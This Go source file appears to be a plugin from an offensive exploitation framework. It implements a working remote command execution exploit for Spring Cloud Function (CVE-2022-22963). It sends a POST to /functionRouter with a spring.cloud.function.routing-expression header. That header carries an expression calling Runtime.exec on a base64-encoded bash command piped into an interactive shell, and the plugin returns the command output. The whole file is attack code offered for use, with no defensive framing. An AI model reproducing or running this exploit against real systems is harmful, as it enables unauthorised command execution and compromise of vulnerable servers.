package drops

import (
	"context"
	"encoding/base64"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"time"
)

type Springcve202222963 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp Springcve202222963
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

// todo：数据修复
func (t *Springcve202222963) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "2b14f814-b7e1-4a06-a5e1-7056f45b22e4",
		VulId:   "ea73301b-b59a-4a59-ad44-652d1f26a9b7",
		Name:    "Spring_CVE_2022_22963",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *Springcve202222963) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	newUrl, err := url.Parse(baseUrl + "/functionRouter")
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Set("Accept", "*/*")
	req.RawRequest.Header.Set("Accept-Language", "en")
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36")
	req.RawRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	req.RawRequest.Header.Set("spring.cloud.function.routing-expression", "T(java.lang.Runtime).getRuntime().exec(\""+res+"\")")
	req.SetBody([]byte("test"))
	resp, err := expContext.HttpClient.Do(ctx, req)
	if err != nil {
		fmt.Println(err.Error())
		return nil, nil
	}
	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	time.Sleep(1)
	return data, nil
}

func (t *Springcve202222963) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *Springcve202222963) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
